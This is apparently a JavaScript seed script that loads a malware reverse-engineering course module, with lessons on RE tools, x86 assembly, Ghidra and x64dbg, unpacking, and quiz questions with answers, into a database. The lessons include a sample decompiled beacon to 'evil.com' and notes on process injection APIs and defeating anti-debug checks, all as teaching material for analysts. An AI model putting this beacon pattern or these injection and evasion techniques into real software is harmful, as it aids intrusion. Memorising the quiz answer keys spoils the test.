const db = require('../db');

const overview = {
    id: 38,
    title: 'Malware Reverse Engineering',
    description: 'Disassemble and analyze malicious code to understand its behavior.',
    learning_path_id: 4
};

const tasks = [
    { id: 381, title: 'RE Fundamentals & Tools' },
    { id: 382, title: 'x86/x64 Assembly Essentials' },
    { id: 383, title: 'Static Analysis with IDA/Ghidra' },
    { id: 384, title: 'Debugging with x64dbg' },
    { id: 385, title: 'Unpacking & Anti-Analysis' },
    { id: 386, title: 'Final Quiz' }
];

const lessons = {
    381: {
        content: `# RE Fundamentals & Tools

**Reverse Engineering (RE)** is understanding software without source code.

## Why RE Malware?
*   **Understand Capabilities**: What can it do? (Keylogger? Ransomware?)
*   **Extract IOCs**: C2 servers, encryption keys, mutexes.
*   **Attribute**: Link to known threat actors.
*   **Write Signatures**: Create YARA rules, detection logic.

## Key Tools
| Tool | Purpose |
|------|---------|
| **IDA Pro / Freeware** | Disassembler (industry standard) |
| **Ghidra** | NSA's free disassembler/decompiler |
| **x64dbg / x32dbg** | Windows debugger |
| **OllyDbg** | Classic 32-bit debugger |
| **PEStudio** | Static PE analysis |
| **Detect It Easy (DIE)** | Packer/compiler detection |
| **dnSpy** | .NET decompiler & debugger |

## The Analysis Lab
*   Isolated VM (no network or host-only).
*   Snapshots before execution.
*   FlareVM (Windows) or REMnux (Linux).`,
        questions: [
            ['What tool did the NSA release for free?', 'Ghidra', 'Free', ['IDA Pro', 'Ghidra', 'x64dbg', 'OllyDbg']],
            ['Why extract IOCs from malware?', 'Create signatures and blocklists', 'Detection', ['For fun', 'Create signatures and blocklists', 'Delete the malware', 'Sell them']],
            ['What is the purpose of a disassembler?', 'Convert machine code to assembly', 'Translate', ['Run malware', 'Convert machine code to assembly', 'Compile code', 'Debug']]
        ]
    },
    382: {
        content: `# x86/x64 Assembly Essentials

You don't need to be an expert, but you need the basics.

## Registers (x86)
| Register | Purpose |
|----------|---------|
| EAX | Accumulator (return values) |
| EBX | Base pointer |
| ECX | Counter (loops) |
| EDX | Data register |
| ESI/EDI | Source/Destination index |
| ESP | Stack Pointer |
| EBP | Base Pointer (stack frame) |
| EIP | Instruction Pointer (next instruction) |

*x64 extends these to RAX, RBX, RCX, etc. (64-bit)*

## Common Instructions
| Instruction | Meaning |
|-------------|---------|
| \`MOV EAX, 5\` | EAX = 5 |
| \`ADD EAX, EBX\` | EAX = EAX + EBX |
| \`SUB EAX, 1\` | EAX = EAX - 1 |
| \`CMP EAX, EBX\` | Compare EAX to EBX |
| \`JE label\` | Jump if Equal |
| \`JNE label\` | Jump if Not Equal |
| \`CALL func\` | Call function |
| \`RET\` | Return from function |
| \`PUSH EAX\` | Push EAX onto stack |
| \`POP EAX\` | Pop stack into EAX |

## Calling Conventions
*   **cdecl**: Arguments pushed right-to-left, caller cleans stack.
*   **stdcall**: Callee cleans stack (Windows API).
*   **fastcall (x64)**: First 4 args in registers (RCX, RDX, R8, R9).`,
        questions: [
            ['Which register typically holds return values in x86?', 'EAX', 'Return', ['EBX', 'EAX', 'ECX', 'ESP']],
            ['What does the CALL instruction do?', 'Calls a function (pushes return address, jumps)', 'Function', ['Returns', 'Calls a function (pushes return address, jumps)', 'Compares', 'Loops']],
            ['In x64 calling convention, where are the first 4 arguments?', 'Registers (RCX, RDX, R8, R9)', 'Registers', ['Stack only', 'Registers (RCX, RDX, R8, R9)', 'Memory', 'Nowhere']]
        ]
    },
    383: {
        content: `# Static Analysis with IDA/Ghidra

Analyze without running the malware.

## IDA Pro Tips
*   **Rename functions**: \`RenameFunc_Sub_401000\` → \`DecryptConfig\`.
*   **Add comments**: Document what code does.
*   **Cross-references (Xrefs)**: See where a function is called.
*   **Strings window**: Find interesting strings (URLs, keys).
*   **Imports window**: See Windows API calls.

## Ghidra Decompiler
*   Converts assembly to pseudo-C.
*   Not perfect, but faster to read than ASM.
\`\`\`c
void FUN_00401000(void) {
    char *url = "http://evil.com/beacon";
    InternetOpenUrlA(url);
}
\`\`\`

## Key API Calls (Windows)
| API | Malware Use |
|-----|-------------|
| \`CreateFile\` | Read/Write files |
| \`VirtualAlloc\` | Allocate executable memory |
| \`WriteProcessMemory\` | Inject code |
| \`CreateRemoteThread\` | Execute injected code |
| \`RegSetValueEx\` | Persistence via registry |
| \`InternetOpenUrl\` | Download payloads |
| \`CryptEncrypt\` | Encrypt data (ransomware) |`,
        questions: [
            ['What does "Xrefs" show in IDA?', 'Where a function or variable is referenced', 'Cross-reference', ['Errors', 'Where a function or variable is referenced', 'Registry keys', 'Network calls']],
            ['What does Ghidra\'s decompiler produce?', 'Pseudo-C code from assembly', 'Readable', ['Executable', 'Pseudo-C code from assembly', 'Encrypted code', 'Packed code']],
            ['Which API is commonly used to inject code into another process?', 'WriteProcessMemory + CreateRemoteThread', 'Injection', ['CreateFile', 'WriteProcessMemory + CreateRemoteThread', 'RegSetValueEx', 'CryptEncrypt']]
        ]
    },
    384: {
        content: `# Debugging with x64dbg

Dynamic analysis: Run malware and observe.

## x64dbg Essentials
*   **F9**: Run
*   **F8**: Step Over (don't enter function)
*   **F7**: Step Into (enter function)
*   **F2**: Set breakpoint
*   **Ctrl+G**: Go to address

## Common Breakpoints
| Breakpoint | Purpose |
|------------|---------|
| \`CreateFileA/W\` | File operations |
| \`VirtualAlloc\` | Memory allocation (unpacking) |
| \`LoadLibraryA\` | DLL loading |
| \`GetProcAddress\` | Dynamic API resolution |
| \`InternetOpenUrl\` | Network activity |
| \`IsDebuggerPresent\` | Anti-debug check |

## Defeating Anti-Debug
*   **Patch IsDebuggerPresent**: Set EAX to 0 (not detected).
*   **Hide debugger**: ScyllaHide plugin.
*   **Modify PEB.BeingDebugged**: Set to 0.

## Dumping Unpacked Code
1.  Set breakpoint after unpack routine.
2.  Right-click → Follow in Memory Map.
3.  Dump memory region.
4.  Fix imports with Scylla/Import Reconstructor.`,
        questions: [
            ['What does F7 do in x64dbg?', 'Step Into (enter function calls)', 'Step', ['Run', 'Step Into (enter function calls)', 'Exit', 'Breakpoint']],
            ['Why set a breakpoint on VirtualAlloc?', 'Catch memory allocation (often for unpacking)', 'Unpack', ['It is random', 'Catch memory allocation (often for unpacking)', 'Speed up', 'Delete files']],
            ['What is a common anti-debug API to bypass?', 'IsDebuggerPresent', 'Anti-debug', ['CreateFile', 'IsDebuggerPresent', 'InternetOpen', 'RegSetValue']]
        ]
    },
    385: {
        content: `# Unpacking & Anti-Analysis

Malware authors don't make your job easy.

## Packers
*   **Purpose**: Compress/obfuscate code, evade AV.
*   **Common**: UPX, Themida, VMProtect, custom.
*   **Detection**: Detect It Easy, PEiD.

## Unpacking Strategies
1.  **Automated**: Use unpacker tools (upx -d for UPX).
2.  **Manual**:
    *   Set breakpoint on \`VirtualAlloc\`/\`VirtualProtect\`.
    *   Run until Original Entry Point (OEP).
    *   Dump memory, rebuild PE.

## Anti-Analysis Techniques
| Technique | Description |
|-----------|-------------|
| **IsDebuggerPresent** | Detect debugger |
| **Timing Checks** | Slow execution = debugged |
| **VM Detection** | Check for VMware/VirtualBox artifacts |
| **Anti-Disassembly** | Junk bytes confuse disassembler |
| **Encrypted Strings** | Strings only decrypted at runtime |
| **API Hashing** | Resolve APIs by hash, not name |

## Countering Anti-Analysis
*   Patch anti-debug checks.
*   Use anti-anti-debug plugins (ScyllaHide).
*   Emulate VM artifacts on bare-metal analysis machine.`,
        questions: [
            ['What is the purpose of a packer?', 'Compress/obfuscate code to evade detection', 'Hide', ['Speed up malware', 'Compress/obfuscate code to evade detection', 'Add features', 'Make it smaller for email']],
            ['What does API Hashing hide?', 'The names of Windows APIs being called', 'Names', ['Return values', 'The names of Windows APIs being called', 'File paths', 'Network traffic']],
            ['How do you find the Original Entry Point (OEP)?', 'Set breakpoints on VirtualAlloc, step until unpacked code runs', 'Breakpoint', ['Run strings', 'Set breakpoints on VirtualAlloc, step until unpacked code runs', 'Read documentation', 'Ask the malware']]
        ]
    },
    386: {
        content: `# Final Quiz

Test your Malware Reverse Engineering skills.`,
        questions: [
            ['Which tool is NSA\'s free disassembler?', 'Ghidra', 'Free', ['IDA Pro', 'Ghidra', 'x64dbg', 'OllyDbg']],
            ['Which register holds the return value in x86?', 'EAX', 'Return', ['EBX', 'EAX', 'ECX', 'EDX']],
            ['What does F7 do in x64dbg?', 'Step Into', 'Debug', ['Run', 'Step Into', 'Step Over', 'Exit']],
            ['What is the purpose of a packer?', 'Obfuscate and evade detection', 'Hide', ['Speed up', 'Obfuscate and evade detection', 'Add features', 'Compress for email']],
            ['Which API is used for code injection?', 'WriteProcessMemory', 'Inject', ['CreateFile', 'WriteProcessMemory', 'RegSetValue', 'CryptEncrypt']],
            ['What does IsDebuggerPresent detect?', 'If the process is being debugged', 'Anti-debug', ['Malware', 'If the process is being debugged', 'Network', 'Files']]
        ]
    }
};

async function createModule() {
    try {
        console.log('🚀 Creating Module 38: Malware Reverse Engineering...\n');
        console.log(`Processing Module ${overview.id}: ${overview.title}`);
        await db.query(`INSERT INTO modules (id, title, description, display_order, learning_path_id) VALUES (?, ?, ?, ?, ?) ON DUPLICATE KEY UPDATE title = VALUES(title), description = VALUES(description), learning_path_id = VALUES(learning_path_id)`, 
            [overview.id, overview.title, overview.description, overview.id, overview.learning_path_id]);
        for (const t of tasks) {
            await db.query(`INSERT INTO tasks (id, module_id, title, is_active, display_order) VALUES (?, ?, ?, 1, ?) ON DUPLICATE KEY UPDATE title = VALUES(title), module_id = VALUES(module_id), is_active=1`,
                [t.id, overview.id, t.title, t.id]);
        }
        for (const [idStr, lesson] of Object.entries(lessons)) {
            const taskId = parseInt(idStr);
            await db.query('DELETE FROM lesson_content WHERE task_id = ?', [taskId]);
            await db.query('DELETE FROM lesson_questions WHERE task_id = ?', [taskId]);
            await db.query('INSERT INTO lesson_content (task_id, content, content_type, reading_time_minutes) VALUES (?, ?, ?, ?)',
                [taskId, lesson.content, 'markdown', 20]);
            for (let j = 0; j < lesson.questions.length; j++) {
                const q = lesson.questions[j];
                const options = q[3] ? JSON.stringify(q[3]) : null;
                await db.query('INSERT INTO lesson_questions (task_id, question_text, correct_answer, question_order, hint, options, case_sensitive) VALUES (?, ?, ?, ?, ?, ?, ?)',
                    [taskId, q[0], q[1], j + 1, q[2], options, 0]);
            }
        }
        console.log(`✅ Module 38 Created!\n`);
        process.exit(0);
    } catch (error) {
        console.error('Error:', error);
        process.exit(1);
    }
}
createModule();
